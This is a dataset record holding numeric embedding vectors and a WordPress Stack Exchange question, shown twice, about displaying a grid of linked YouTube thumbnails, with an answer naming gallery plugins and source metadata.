-0.02447509765625, -0.0242156982421875, 0.03338623046875, -0.034027099609375, 0.0244140625, -0.0102996826171875, 0.040008544921875, 0.06451416015625, -0.01139068603515625, 0.009857177734375, 0.02716064453125, -0.026397705078125, 0.03289794921875, 0.03778076171875, 0.0167388916015625, 0.0242462158203125, -0.060302734375, -0.0007266998291015625, 0.0291748046875, 0.06866455078125, 0.0227508544921875, -0.038970947265625, 0.0179595947265625, 0.059783935546875, -0.059906005859375, -0.0914306640625, -0.038055419921875, -0.053436279296875, -0.005352020263671875, -0.017913818359375, -0.0295867919921875, 0.0086822509765625, -0.006931304931640625, 0.0196990966796875, 0.01099395751953125, -0.044464111328125, -0.07415771484375, -0.0888671875, -0.06683349609375, -0.01611328125, 0.0013685226440429688, -0.00836944580078125, -0.0210418701171875, 0.0560302734375, -0.006145477294921875, -0.03143310546875, -0.024505615234375, -0.05084228515625, -0.00916290283203125, -0.01329803466796875, -0.035919189453125, -0.01654052734375, 0.051116943359375, -0.0083160400390625, 0.006168365478515625, 0.033905029296875, -0.0018434524536132812, -0.00861358642578125, 0.012420654296875, 0.021026611328125, 0.0082244873046875, 0.0202789306640625, -0.00391387939453125, 0.021240234375, 0.00913238525390625, -0.0321044921875, -0.01800537109375, 0.0232696533203125, -0.0271148681640625, -0.039276123046875, 0.0283966064453125, -0.03387451171875, -0.030487060546875, -0.00394439697265625, -0.006237030029296875, -0.0433349609375, 0.0675048828125, -0.054107666015625, 0.0455322265625, -0.0275726318359375, -0.01678466796875, -0.0556640625, 0.039520263671875, -0.01715087890625, -0.08026123046875, -0.0167999267578125, -0.019134521484375, -0.0201568603515625, -0.0308685302734375, -0.044281005859375, 0.001323699951171875, 0.0208892822265625, 0.002147674560546875, 0.02545166015625, -0.0084075927734375, -0.0023479461669921875, -0.01293182373046875, 0.038055419921875, -0.02197265625, 0.002231597900390625, 0.01050567626953125, 0.00653839111328125, -0.07232666015625, -0.0210113525390625, -0.08050537109375, 0.011871337890625, -0.0540771484375, -0.0014448165893554688, 0.0157928466796875, -0.047454833984375, 0.004169464111328125, -0.012115478515625, -0.0455322265625, -0.0214385986328125, 0.00933074951171875, -0.00289154052734375, 0.0267486572265625, -0.052734375, 0.045257568359375, -0.061187744140625, 0.0236358642578125, -0.0304718017578125, -0.0721435546875, -0.0189666748046875, -0.03387451171875, 0.053558349609375, 0.01617431640625, 0.025115966796875, -0.0384521484375, 0.0186004638671875, 0.0221710205078125, 0.04248046875, -0.006359100341796875, -0.036529541015625, 0.06683349609375, 0.004383087158203125, 0.0152740478515625, 0.0010118484497070312, 0.0067901611328125, -0.00405120849609375, -0.03253173828125, 0.01494598388671875, -0.0215911865234375, 0.004199981689453125, -0.01031494140625, -0.027740478515625, -0.039215087890625, -0.040313720703125, -0.0243377685546875, -0.0012836456298828125, -0.0023136138916015625, -0.00556182861328125, -0.032501220703125, -0.024017333984375, 0.04339599609375, -0.017852783203125, -0.005168914794921875, -0.01038360595703125, 0.04937744140625, 0.01300811767578125, -0.0184478759765625, 0.006610870361328125, -0.01474761962890625, 0.0234222412109375, -0.01061248779296875, 0.046112060546875, 0.0245513916015625, -0.01519012451171875, 0.041717529296875, 0.0005869865417480469, -0.0168609619140625, 0.055023193359375, -0.00428009033203125, 0.0528564453125, -0.01551055908203125, -0.017669677734375, 0.046356201171875, -0.03521728515625, 0.01068115234375, -0.047821044921875, 0.018218994140625, -0.053192138671875, 0.019287109375, -0.0098419189453125, 0.0159149169921875, -0.033111572265625, -0.061920166015625, 0.0277099609375, -0.0034637451171875, -0.003551483154296875, -0.01088714599609375, -0.002910614013671875, 0.0306243896484375, -0.01459503173828125, -0.017974853515625, -0.01244354248046875, 0.0323486328125, -0.02313232421875, 0.036163330078125, -0.020111083984375, -0.01399993896484375, -0.039947509765625, 0.0108642578125, 0.034637451171875, -0.002185821533203125, -0.0340576171875, -0.037445068359375, -0.005985260009765625, -0.00933074951171875, -0.0039825439453125, -0.04046630859375, 0.033782958984375, 0.037200927734375, -0.0171966552734375, -0.02606201171875, -0.0350341796875, -0.00966644287109375, -0.048858642578125, -0.052398681640625, -0.0086822509765625, -0.023651123046875, 0.0131683349609375, -0.005828857421875, -0.0164031982421875, 0.003173828125, -0.005336761474609375, 0.021240234375, 0.01050567626953125, -0.008453369140625, 0.003963470458984375, -0.00550079345703125, 0.016693115234375, -0.01078033447265625, 0.0159454345703125, -0.04364013671875, -0.01067352294921875, 0.01204681396484375, 0.03125, 0.0176544189453125, -0.01357269287109375, 0.0195159912109375, 0.00449371337890625, -0.01103973388671875, 0.04241943359375, 0.0201873779296875, -0.023223876953125, -0.0494384765625, -0.01557159423828125, 0.061309814453125, 0.0141754150390625, 0.0022487640380859375, -0.01113128662109375, -0.00565338134765625, 0.0232696533203125, -0.01507568359375, -0.0005512237548828125, 0.00843048095703125, -0.00730133056640625, 0.021881103515625, -0.0214385986328125, -0.0350341796875, 0.0162811279296875, 0.00879669189453125, -0.020111083984375, -0.00411224365234375, 0.00891876220703125, -0.0281219482421875, 0.05731201171875, -0.03411865234375, -0.00531768798828125, -0.03167724609375, 0.0323486328125, 0.00292205810546875, 0.0028972625732421875, -0.032073974609375, 0.001071929931640625, -0.046844482421875, -0.0236663818359375, -0.03802490234375, -0.017120361328125, -0.051849365234375, 0.01279449462890625, -0.0195465087890625, 0.020050048828125, -0.006038665771484375, -0.0015058517456054688, 0.00341033935546875, 0.0254058837890625, 0.0107574462890625, 0.01873779296875, -0.038848876953125, 0.00118255615234375, 0.02294921875, -0.008026123046875, -0.0253143310546875, -0.027984619140625, 0.014556884765625, -0.0020771026611328125, 0.00478363037109375, -0.07452392578125, -0.021453857421875, -0.00005447864532470703, -0.04150390625, 0.056365966796875, 0.038177490234375, 0.006870269775390625, 0.03924560546875, -0.017333984375, 0.0034427642822265625, -0.0149688720703125, 0.010223388671875, -0.04486083984375, 0.0086517333984375, 0.029266357421875, -0.031494140625, 0.0007290840148925781, 0.011688232421875, 0.001911163330078125, 0.0208740234375, -0.01285552978515625, 0.00835418701171875, -0.000823974609375, 0.0045013427734375, 0.018280029296875, 0.0286102294921875, -0.01326751708984375, 0.0352783203125, -0.0021915435791015625, 0.01361846923828125, 0.0159454345703125, 0.036346435546875, 0.0277099609375, -0.04254150390625, 0.03778076171875, -0.0129547119140625, -0.017364501953125, -0.006866455078125, -0.0258636474609375, -0.028839111328125, 0.05615234375, 0.029632568359375, -0.059661865234375, -0.0294189453125, 0.003143310546875, -0.0216522216796875, -0.048004150390625, 0.005245208740234375, 0.0095977783203125, -0.0205841064453125, 0.012359619140625, 0.0015573501586914062, -0.02056884765625, 0.0009393692016601562, -0.0101318359375, 0.0087127685546875, -0.0290069580078125, 0.0305938720703125, 0.0095062255859375, -0.04736328125, 0.019256591796875, 0.0171661376953125, 0.0268707275390625, -0.00514984130859375, 0.03717041015625, 0.00472259521484375, 0.0123291015625, 0.02679443359375, 0.08624267578125, -0.028778076171875, 0.01358795166015625, 0.0114593505859375, 0.0028133392333984375, 0.011962890625, 0.01259613037109375, 0.0011310577392578125, -0.0195770263671875, -0.0043182373046875, 0.00804901123046875, 0.0233612060546875, -0.03656005859375, -0.0220489501953125, 0.05767822265625, -0.051116943359375, 0.00630950927734375, 0.01399993896484375, 0.0036144256591796875, -0.01097869873046875, -0.0169525146484375, 0.01971435546875, 0.0301666259765625, -0.01959228515625, 0.05029296875, 0.01183319091796875, -0.0273284912109375, -0.0227508544921875, 0.0093994140625, -0.05609130859375, 0.005512237548828125, -0.00402069091796875, 0.0070648193359375, -0.00225830078125, 0.0037288665771484375, -0.0704345703125, 0.1021728515625, 0.03106689453125, 0.009521484375, -0.01255035400390625, 0.0408935546875, -0.06439208984375, 0.0004737377166748047, -0.041595458984375, -0.0137176513671875, -0.0258941650390625, 0.0377197265625, -0.04351806640625, -0.004116058349609375, -0.00116729736328125, 0.02630615234375, 0.0140533447265625, 0.0030155181884765625, -0.042999267578125, -0.03802490234375, -0.0132598876953125, -0.0247344970703125, -0.0158843994140625, 0.0687255859375, -0.0433349609375, -0.0006427764892578125, -0.0122833251953125, -0.03143310546875, 0.0136260986328125, 0.004547119140625, -0.05120849609375, -0.003826141357421875, -0.0193328857421875, -0.04168701171875, -0.0119171142578125, 0.062469482421875, -0.0655517578125, -0.00417327880859375, 0.0186767578125, 0.0127716064453125, -0.026519775390625, 0.050628662109375, 0.023651123046875, -0.048309326171875, -0.054290771484375, -0.0284881591796875, 0.037506103515625, 0.008087158203125, 0.0394287109375, -0.00623321533203125, 0.033660888671875, 0.03887939453125, -0.07391357421875, 0.004062652587890625, 0.0092926025390625, -0.07196044921875, 0.0321044921875, 0.0088348388671875, 0.0273284912109375, -0.04541015625, -0.027252197265625, 0.038360595703125, 0.043853759765625, -0.01369476318359375, -0.0013427734375, 0.0098114013671875, -0.0010366439819335938, 0.006496429443359375, -0.01129150390625, 0.017669677734375, 0.0615234375, 0.039398193359375, -0.01323699951171875, -0.0188751220703125, -0.000560760498046875, 0.0045928955078125, -0.01352691650390625, -0.01270294189453125, 0.0174713134765625, 0.000530242919921875, -0.00612640380859375, -0.0158233642578125, 0.01406097412109375, 0.00400543212890625, -0.0194091796875, 0.0305938720703125, -0.0012035369873046875, 0.0068817138671875, 0.01552581787109375, -0.0050201416015625, -0.03363037109375, -0.019805908203125, -0.03558349609375, -0.078857421875, 0.00384521484375, 0.054412841796875, -0.00821685791015625, 0.02313232421875, -0.002979278564453125, 0.044342041015625, 0.053741455078125, 0.0024204254150390625, 0.10052490234375, -0.0038280487060546875, -0.0306396484375, -0.02496337890625, -0.0011167526245117188, -0.007587432861328125, -0.00254058837890625, 0.0211944580078125, 0.0960693359375, -0.05126953125, 0.005321502685546875, 0.0172882080078125, 0.006328582763671875, -0.059356689453125, 0.031463623046875, 0.0179443359375, 0.09027099609375, 0.029266357421875, -0.059234619140625, 0.005695343017578125, -0.036224365234375, 0.0025081634521484375, -0.016387939453125, 0.0008997917175292969, -0.0516357421875, 0.0919189453125, 0.004150390625, -0.0209808349609375, -0.01666259765625, 0.0024623870849609375, 0.0472412109375, 0.040679931640625, -0.01045989990234375, 0.02447509765625, -0.025604248046875, 0.0023956298828125, 0.002490997314453125, -0.001102447509765625, 0.0123748779296875, 0.0830078125, -0.0012722015380859375, 0.00820159912109375, 0.0277252197265625, -0.0489501953125, 0.034820556640625, 0.0286102294921875, -0.034423828125, 0.0052642822265625, -0.00408172607421875, -0.0119171142578125, -0.0172119140625, -0.0029010772705078125, 0.040496826171875, -0.0164947509765625, -0.0221405029296875, -0.0032825469970703125, 0.02349853515625, -0.0024929046630859375, 0.016571044921875, -0.06024169921875, -0.06292724609375, -0.07354736328125, -0.01290130615234375, -0.00604248046875, -0.021240234375, -0.022430419921875, 0.032928466796875, -0.0163116455078125, 0.0159759521484375, -0.0193023681640625, -0.0193328857421875, -0.029754638671875, 0.0173187255859375, -0.030914306640625, -0.012451171875, -0.046295166015625, -0.03143310546875, -0.0172119140625, 0.0020294189453125, 0.00315093994140625, -0.01515960693359375, 0.060821533203125, 0.0328369140625, 0.019134521484375, 0.01190948486328125, -0.053802490234375, -0.004730224609375, 0.04974365234375, -0.0004019737243652344, 0.01568603515625, -0.03778076171875, -0.03411865234375, -0.0242462158203125, 0.004474639892578125, 0.00913238525390625, 0.01194000244140625, -0.044097900390625, -0.0256805419921875, -0.0080718994140625, 0.022186279296875, 0.0283966064453125, -0.0728759765625, 0.054046630859375, -0.010894775390625, 0.0029506683349609375, 0.023895263671875, -0.0307464599609375, -0.0056610107421875, 0.0309906005859375, -0.01445770263671875, -0.08013916015625, -0.04266357421875, 0.0550537109375, -0.0653076171875, -0.029876708984375, 0.0057525634765625, 0.019866943359375, -0.03533935546875, -0.04986572265625, -0.0272064208984375, 0.0003650188446044922, -0.0692138671875, 0.009490966796875, 0.032379150390625, -0.00876617431640625, -0.05718994140625, -0.059814453125, 0.038482666015625, -0.056732177734375, -0.0258331298828125, 0.016265869140625, -0.0098114013671875, -0.000919342041015625, -0.0286407470703125, -0.033203125, 0.0478515625, 0.002010345458984375, -0.0310516357421875, -0.07220458984375, -0.0294647216796875, 0.017608642578125, 0.019622802734375, -0.0213470458984375, -0.00481414794921875, -0.08123779296875, 0.0283966064453125, -0.006473541259765625, -0.0146942138671875, 0.01435089111328125, -0.0003113746643066406, -0.0262908935546875, 0.033172607421875, 0.0304107666015625, -0.03277587890625, -0.027008056640625, 0.0350341796875, 0.0017690658569335938, 0.072265625, 0.0248870849609375, 0.0021514892578125, 0.00540924072265625, -0.07122802734375, -0.0061492919921875, -0.021453857421875, -0.024169921875, 0.0003991127014160156, 0.068115234375, 0.06842041015625, 0.020477294921875, -0.052825927734375, -0.0325927734375, -0.053070068359375, -0.00017952919006347656, -0.043182373046875, 0.01366424560546875, -0.08660888671875, -0.01593017578125, 0.0223388671875, 0.0175628662109375, 0.017364501953125, 0.0014810562133789062, 0.005535125732421875, -0.0282440185546875, 0.022430419921875, -0.004299163818359375, -0.043701171875, -0.00804901123046875, -0.0014657974243164062, -0.006229400634765625, 0.0236663818359375, -0.005828857421875, 0.0153350830078125, -0.0009093284606933594, 0.0251007080078125, -0.0030078887939453125, 0.0276947021484375, -0.00797271728515625, 0.004383087158203125, 0.01358795166015625, -0.0088043212890625, 0.0081787109375, -0.00733184814453125, -0.0146331787109375, -0.01084136962890625, -0.0113983154296875, -0.01068878173828125, -0.00433349609375, -0.00051116943359375, -0.017547607421875, 0.06121826171875, -0.0163116455078125, -0.015655517578125, -0.01371002197265625, 0.0206451416015625, -0.0301055908203125, 0.003154754638671875, 0.02947998046875, -0.036865234375, 0.00905609130859375, 0.032958984375, -0.0113677978515625, -0.004894256591796875, 0.0002028942108154297, -0.04901123046875, 0.0003151893615722656, -0.0192413330078125 ]
1ea91f3ea18b7729bdf6563558f0495db3b99d67
Wordpress Stackexchange Q: How to link to YouTube videos with thumbnails? I am brand new to WordPress and find it very confusing. I have a small blog and cannot find a way to easily add a small grid of YouTube thumbnails that link to those videos. I have looked at all kinds of YouTube plugins (Video Thumbnails, YouTube Gallery, etc), but all of them seem focused on providing tools for the video creators. I just want a simple table/grid of 3-5 equally-sized cells, displaying the thumbnail and title of a YouTube video, and for the image to be a link to the said video. Is there a plugin for this? Or do I need to write the HTML myself? Just to be clear: I am not referring to Post Thumbnails, but a grid or table of thumbnails within the actual page or post. A: Here is a list of some popular video grid plugins you can use without custom coding. You can create a grid of YouTube thumbnails that link to those videos. * *Gallery by Robo – Responsive Photo Image Gallery *YouTube Gallery – Best YouTube Video Gallery for WordPress *YourChannel: YouTube channel on your website Good luck!
Q: How to link to YouTube videos with thumbnails? I am brand new to WordPress and find it very confusing. I have a small blog and cannot find a way to easily add a small grid of YouTube thumbnails that link to those videos. I have looked at all kinds of YouTube plugins (Video Thumbnails, YouTube Gallery, etc), but all of them seem focused on providing tools for the video creators. I just want a simple table/grid of 3-5 equally-sized cells, displaying the thumbnail and title of a YouTube video, and for the image to be a link to the said video. Is there a plugin for this? Or do I need to write the HTML myself? Just to be clear: I am not referring to Post Thumbnails, but a grid or table of thumbnails within the actual page or post. A: Here is a list of some popular video grid plugins you can use without custom coding. You can create a grid of YouTube thumbnails that link to those videos. * *Gallery by Robo – Responsive Photo Image Gallery *YouTube Gallery – Best YouTube Video Gallery for WordPress *YourChannel: YouTube channel on your website Good luck!
wordpress
{ "language": "en", "length": 197, "provenance": "stackexchange_00019.jsonl.gz:488328", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310386" }
[ 0.05291748046875, 0.021270751953125, 0.007175445556640625, -0.021881103515625, 0.030303955078125, -0.01499176025390625, 0.07403564453125, -0.0281982421875, -0.0163421630859375, 0.01898193359375, -0.017120361328125, 0.0204315185546875, 0.004024505615234375, -0.0170745849609375, 0.0005483627319335938, -0.028900146484375, 0.02978515625, 0.0036640167236328125, 0.0185089111328125, -0.0123748779296875, 0.0031719207763671875, 0.01320648193359375, 0.01922607421875, 0.025177001953125, 0.01043701171875, 0.015045166015625, 0.065673828125, -0.023712158203125, 0.01708984375, -0.01023101806640625, 0.0104827880859375, -0.0168304443359375, 0.0273284912109375, -0.0106964111328125, 0.0150146484375, -0.01287841796875, 0.02581787109375, -0.024322509765625, -0.00099945068359375, 0.0222930908203125, 0.015350341796875, 0.0005283355712890625, 0.035247802734375, 0.0019626617431640625, 0.008880615234375, -0.01557159423828125, -0.007427215576171875, -0.0484619140625, -0.015655517578125, -0.0178070068359375, 0.006450653076171875, -0.01398468017578125, 0.0230712890625, -0.0170440673828125, 0.0006718635559082031, -0.004306793212890625, 0.01025390625, -0.038787841796875, 0.008026123046875, -0.01190185546875, 0.023223876953125, 0.0159759521484375, 0.0128021240234375, 0.03271484375, -0.04132080078125, -0.002899169921875, -0.053070068359375, -0.010528564453125, 0.01837158203125, -0.0231781005859375, 0.015350341796875, -0.0007719993591308594, -0.01357269287109375, -0.034332275390625, 0.031524658203125, 0.04022216796875, -0.0009555816650390625, 0.024139404296875, -0.00011283159255981445, 0.0284271240234375, 0.028533935546875, -0.02203369140625, 0.04864501953125, -0.045562744140625, 0.042510986328125, -0.00180816650390625, -0.0009489059448242188, -0.01084136962890625, -0.04119873046875, -0.0269622802734375, -0.0176544189453125, -0.05279541015625, -0.0545654296875, 0.01149749755859375, 0.01409149169921875, -0.0240631103515625, 0.03466796875, 0.036285400390625, -0.0122222900390625, -0.0008225440979003906, -0.01155853271484375, -0.02239990234375, 0.0054473876953125, -0.028564453125, -0.0026988983154296875, 0.02630615234375, 0.007778167724609375, -0.0173187255859375, 0.012451171875, 0.0192108154296875, -0.0121612548828125, 0.0657958984375, 0.0212860107421875, -0.0027141571044921875, -0.02154541015625, -0.007049560546875, -0.018524169921875, 0.00992584228515625, -0.004360198974609375, 0.008331298828125, -0.02130126953125, -0.0168914794921875, 0.00977325439453125, 0.0285491943359375, 0.010650634765625, 0.004535675048828125, -0.005191802978515625, -0.004947662353515625, -0.015472412109375, 0.0180511474609375, -0.054779052734375, 0.007568359375, 0.118896484375, 0.0552978515625, 0.033905029296875, -0.02874755859375, -0.0160064697265625, -0.0124969482421875, -0.00537872314453125, 0.01084136962890625, -0.025970458984375, -0.000652313232421875, 0.05487060546875, -0.02996826171875, 0.06463623046875, -0.0031337738037109375, 0.0140533447265625, 0.035797119140625, 0.01442718505859375, -0.0030670166015625, 0.048187255859375, 0.007740020751953125, 0.018585205078125, 0.0229339599609375, 0.0276336669921875, -0.019989013671875, 0.052093505859375, -0.04119873046875, 0.0146636962890625, -0.03314208984375, -0.00890350341796875, 0.004444122314453125, 0.007354736328125, -0.0059051513671875, 0.0124969482421875, -0.018218994140625, -0.0050506591796875, 0.0191497802734375, 0.024444580078125, 0.0236663818359375, 0.0010623931884765625, 0.02001953125, 0.033721923828125, 0.0068359375, -0.00919342041015625, -0.00677490234375, 0.021820068359375, -0.00908660888671875, -0.0036449432373046875, 0.059906005859375, 0.019927978515625, -0.00988006591796875, 0.01739501953125, 0.0009946823120117188, -0.03997802734375, 0.04083251953125, -0.0154266357421875, 0.0361328125, 0.01551055908203125, 0.01360321044921875, 0.0070953369140625, 0.012481689453125, -0.02783203125, 0.030059814453125, 0.00618743896484375, -0.0161895751953125, -0.0003285408020019531, 0.00384521484375, 0.0007357597351074219, -0.04742431640625, 0.0158538818359375, 0.0254669189453125, -0.00838470458984375, 0.00007325410842895508, -0.040679931640625, 0.01222991943359375, -0.019927978515625, 0.042327880859375, -0.00439453125, 0.021453857421875, 0.007965087890625, 0.0038089752197265625, -0.01073455810546875, -0.0212249755859375, -0.00786590576171875, 0.037109375, -0.0246734619140625, 0.01081085205078125, -0.01458740234375, 0.0282745361328125, -0.0204620361328125, -0.0096282958984375, -0.01357269287109375, 0.0231170654296875, -0.00591278076171875, -0.03521728515625, -0.0355224609375, -0.035003662109375, -0.058074951171875, -0.002651214599609375, -0.0762939453125, 0.073974609375, 0.045257568359375, -0.01383209228515625, -0.05267333984375, -0.011016845703125, -0.010498046875, -0.02386474609375, -0.0001195073127746582, 0.056854248046875, 0.03125, 0.010894775390625, -0.01079559326171875, 0.0220489501953125, 0.058929443359375, -0.002841949462890625, 0.01275634765625, 0.0020427703857421875, -0.018524169921875, -0.015899658203125, 0.0157318115234375, -0.01140594482421875, 0.0188751220703125, -0.0433349609375, 0.020782470703125, 0.037109375, 0.0005779266357421875, 0.0303802490234375, -0.04522705078125, 0.045623779296875, -0.03216552734375, 0.02001953125, 0.028106689453125, -0.0284271240234375, -0.00289154052734375, 0.03887939453125, 0.01480865478515625, 0.030914306640625, -0.033721923828125, 0.0338134765625, 0.008148193359375, -0.006641387939453125, -0.0008893013000488281, 0.0592041015625, 0.037628173828125, 0.0111846923828125, -0.01113128662109375, -0.035308837890625, 0.00428009033203125, 0.03143310546875, -0.01232147216796875, -0.005859375, 0.0014963150024414062, -0.004474639892578125, 0.00647735595703125, -0.0281219482421875, 0.019683837890625, 0.00023865699768066406, -0.0185089111328125, -0.02545166015625, 0.0138397216796875, 0.000843048095703125, -0.0472412109375, 0.0399169921875, 0.0025959014892578125, -0.0244293212890625, 0.053497314453125, -0.034423828125, 0.05889892578125, -0.038848876953125, 0.056304931640625, 0.052703857421875, -0.062744140625, 0.04730224609375, 0.003658294677734375, 0.0001817941665649414, -0.01013946533203125, 0.016937255859375, -0.00957489013671875, -0.025360107421875, -0.050750732421875, -0.025238037109375, 0.0178070068359375, 0.07977294921875, -0.02532958984375, -0.0618896484375, -0.00499725341796875, 0.023406982421875, -0.078369140625, -0.09136962890625, 0.03173828125, -0.0694580078125, 0.0145721435546875, 0.015625, -0.043304443359375, -0.025634765625, 0.07470703125, -0.00902557373046875, -0.0031108856201171875, -0.01390838623046875, -0.041839599609375, -0.02069091796875, -0.0511474609375, 0.036590576171875, -0.01116180419921875, 0.0199432373046875, 0.021759033203125, -0.03704833984375, -0.01198577880859375, -0.01910400390625, 0.0118255615234375, 0.022064208984375, -0.005977630615234375, -0.0335693359375, 0.0252227783203125, 0.0219573974609375, -0.033447265625, 0.043304443359375, 0.004589080810546875, 0.0210113525390625, -0.04150390625, -0.0229339599609375, 0.01214599609375, -0.026947021484375, 0.004718780517578125, 0.0061798095703125, -0.0240631103515625, 0.003742218017578125, 0.019012451171875, -0.051971435546875, -0.0167083740234375, 0.0221405029296875, -0.015716552734375, -0.01276397705078125, 0.01348114013671875, -0.04058837890625, -0.0133514404296875, 0.0018024444580078125, 0.007472991943359375, 0.01023101806640625, -0.0152587890625, 0.0285491943359375, -0.034210205078125, -0.00948333740234375, 0.00670623779296875, 0.007480621337890625, -0.05645751953125, -0.045196533203125, 0.031341552734375, -0.046661376953125, -0.00466156005859375, -0.044403076171875, 0.08135986328125, -0.03741455078125, -0.010711669921875, 0.01995849609375, -0.021026611328125, 0.040863037109375, -0.0557861328125, -0.02880859375, -0.041015625, 0.053955078125, -0.045562744140625, -0.0213775634765625, 0.02008056640625, 0.0018978118896484375, 0.0252227783203125, -0.004886627197265625, -0.048248291015625, -0.036651611328125, -0.038818359375, 0.00974273681640625, -0.01019287109375, -0.028411865234375, -0.005046844482421875, -0.014862060546875, -0.020782470703125, -0.0213775634765625, 0.039642333984375, 0.048248291015625, 0.000911712646484375, 0.06878662109375, 0.000823974609375, 0.05517578125, -0.04937744140625, 0.024444580078125, -0.053985595703125, -0.0177001953125, -0.008514404296875, 0.05902099609375, 0.016876220703125, -0.048187255859375, -0.0105133056640625, 0.039337158203125, -0.0289764404296875, 0.00638580322265625, 0.0161285400390625, 0.03790283203125, 0.01081085205078125, 0.000568389892578125, 0.012725830078125, -0.04046630859375, -0.0003895759582519531, -0.046905517578125, -0.026153564453125, 0.013336181640625, -0.02166748046875, 0.0631103515625, -0.0246124267578125, 0.0030269622802734375, -0.0439453125, -0.01503753662109375, 0.0179901123046875, 0.0272979736328125, -0.0001518726348876953, -0.005649566650390625, -0.0203094482421875, -0.03460693359375, 0.023651123046875, 0.01385498046875, -0.00989532470703125, 0.0214080810546875, 0.032989501953125, 0.00847625732421875, -0.029052734375, -0.08123779296875, 0.026580810546875, 0.04449462890625, 0.021270751953125, 0.047119140625, 0.0255584716796875, -0.037109375, 0.028778076171875, 0.0345458984375, 0.01045989990234375, 0.0132598876953125, 0.0224151611328125, -0.0015325546264648438, -0.042510986328125, 0.046417236328125, 0.0028362274169921875, -0.0246429443359375, -0.00762939453125, -0.0166473388671875, -0.0031585693359375, -0.00583648681640625, 0.04022216796875, 0.007160186767578125, 0.02093505859375, -0.0279998779296875, -0.04254150390625, 0.012237548828125, -0.04205322265625, 0.07952880859375, 0.048675537109375, -0.0222015380859375, 0.0531005859375, 0.03662109375, 0.00016486644744873047, 0.0237884521484375, -0.00873565673828125, -0.004955291748046875, 0.0123748779296875, 0.00800323486328125, -0.00994110107421875, 0.0265045166015625, -0.00605010986328125, 0.0121307373046875, 0.0218658447265625, -0.043121337890625, -0.01297760009765625, -0.004062652587890625, 0.00063323974609375, -0.0267333984375, 0.03271484375, 0.053985595703125, 0.0316162109375, -0.0008363723754882812, -0.047515869140625, -0.026153564453125, 0.0218353271484375, -0.048797607421875, 0.0269012451171875, -0.00591278076171875, 0.00876617431640625, -0.024871826171875, 0.0692138671875, -0.0104217529296875, 0.0247955322265625, -0.00740814208984375, 0.038726806640625, 0.00997161865234375, 0.0304718017578125, 0.007099151611328125, -0.003955841064453125, -0.0238189697265625, 0.032958984375, -0.0222625732421875, -0.01045989990234375, 0.02020263671875, -0.00986480712890625, 0.00678253173828125, -0.00450897216796875, -0.0161895751953125, 0.033477783203125, -0.040435791015625, -0.0229034423828125, -0.0308837890625, 0.0035552978515625, 0.0474853515625, 0.006595611572265625, -0.01363372802734375, -0.00855255126953125, 0.046966552734375, -0.01043701171875, -0.018463134765625, -0.0100860595703125, 0.00677490234375, -0.004650115966796875, -0.040252685546875, 0.011627197265625, 0.0159912109375, 0.010833740234375, -0.0192413330078125, 0.00336456298828125, -0.043670654296875, 0.0008459091186523438, -0.036773681640625, -0.004962921142578125, 0.0567626953125, -0.043060302734375, 0.028564453125, -0.0146484375, 0.0078887939453125, -0.016815185546875, 0.0290069580078125, 0.01110076904296875, 0.001251220703125, -0.0904541015625, 0.003826141357421875, -0.029510498046875, -0.00818634033203125, -0.0184173583984375, -0.0338134765625, -0.059783935546875, -0.0246734619140625, -0.049530029296875, 0.00695037841796875, -0.01486968994140625, 0.0265655517578125, 0.0012521743774414062, 0.01522064208984375, -0.0262298583984375, -0.0181732177734375, 0.002288818359375, 0.009002685546875, 0.0199127197265625, 0.047607421875, 0.0227203369140625, -0.0026607513427734375, -0.038238525390625, -0.02789306640625, 0.00827789306640625, -0.04974365234375, -0.04473876953125, 0.0122528076171875, -0.06842041015625, 0.006855010986328125, 0.01885986328125, -0.01259613037109375, 0.0081787109375, -0.02789306640625, -0.003337860107421875, -0.00505828857421875, 0.07275390625, -0.008941650390625, 0.005481719970703125, 0.04095458984375, 0.0008616447448730469, 0.054473876953125, -0.035888671875, -0.01380157470703125, -0.0006766319274902344, -0.022003173828125, 0.0084381103515625, 0.025360107421875, -0.00836944580078125, 0.04052734375, 0.05804443359375, -0.019989013671875, 0.034423828125, 0.036712646484375, 0.0029449462890625, -0.00738525390625, -0.01145172119140625, 0.0247802734375, 0.0230712890625, 0.052825927734375, -0.0092315673828125, -0.0252227783203125, 0.01111602783203125, -0.047607421875, 0.0019102096557617188, -0.038543701171875, -0.01067352294921875, 0.00562286376953125, 0.019805908203125, -0.017059326171875, -0.01044464111328125, 0.0345458984375, -0.037322998046875, 0.00476837158203125, 0.01181793212890625, 0.06964111328125, -0.0162353515625, -0.02642822265625, 0.0126953125, -0.0079803466796875, -0.0090484619140625, 0.004177093505859375, -0.037567138671875, -0.007587432861328125, -0.0670166015625, 0.0091400146484375, 0.04296875, -0.02166748046875, 0.004566192626953125, 0.0296173095703125, -0.00823974609375, 0.00514984130859375, 0.00716400146484375, 0.04302978515625, -0.02178955078125, 0.0016326904296875, 0.027130126953125, 0.0177154541015625, 0.014923095703125, 0.051025390625, -0.00943756103515625, 0.00896453857421875, 0.03033447265625, -0.050262451171875, 0.04052734375, 0.01313018798828125, 0.0263519287109375, -0.0205841064453125, -0.036407470703125, -0.0011425018310546875, -0.06365966796875, 0.013519287109375, 0.0008654594421386719, 0.022369384765625, 0.026611328125, 0.02008056640625, -0.0377197265625, 0.0226898193359375, -0.0213165283203125, -0.00397491455078125, 0.002429962158203125, -0.0008654594421386719, -0.04180908203125, 0.00439453125, 0.00943756103515625, -0.00510406494140625, 0.00611114501953125, 0.0080108642578125, -0.030303955078125, 0.05035400390625, -0.0272369384765625, -0.01409149169921875, 0.018768310546875, 0.032440185546875, -0.0122222900390625, 0.020904541015625, 0.026397705078125, 0.01343536376953125, 0.00827789306640625, -0.03717041015625, 0.004913330078125, 0.0006198883056640625, -0.0124664306640625, 0.03253173828125, 0.032958984375, -0.005290985107421875, -0.031768798828125, -0.004901885986328125, 0.0738525390625, 0.050323486328125, 0.023590087890625, 0.0301361083984375, -0.013336181640625, -0.02490234375, 0.0406494140625, 0.0160064697265625, 0.040802001953125, -0.007232666015625, -0.0328369140625, -0.024627685546875, 0.0091400146484375, 0.005096435546875, 0.01226806640625, 0.0029087066650390625, -0.0040740966796875, -0.0023479461669921875, 0.016357421875, -0.053802490234375, 0.016082763671875, 0.05389404296875, 0.041595458984375, 0.011138916015625, -0.04718017578125, -0.0047760009765625, 0.047210693359375, 0.00664520263671875, 0.0166168212890625, 0.005756378173828125, 0.006786346435546875, 0.057708740234375, -0.0313720703125, -0.004058837890625, 0.01776123046875, -0.0177001953125, 0.06146240234375, -0.0250396728515625, 0.0015583038330078125, -0.10565185546875, 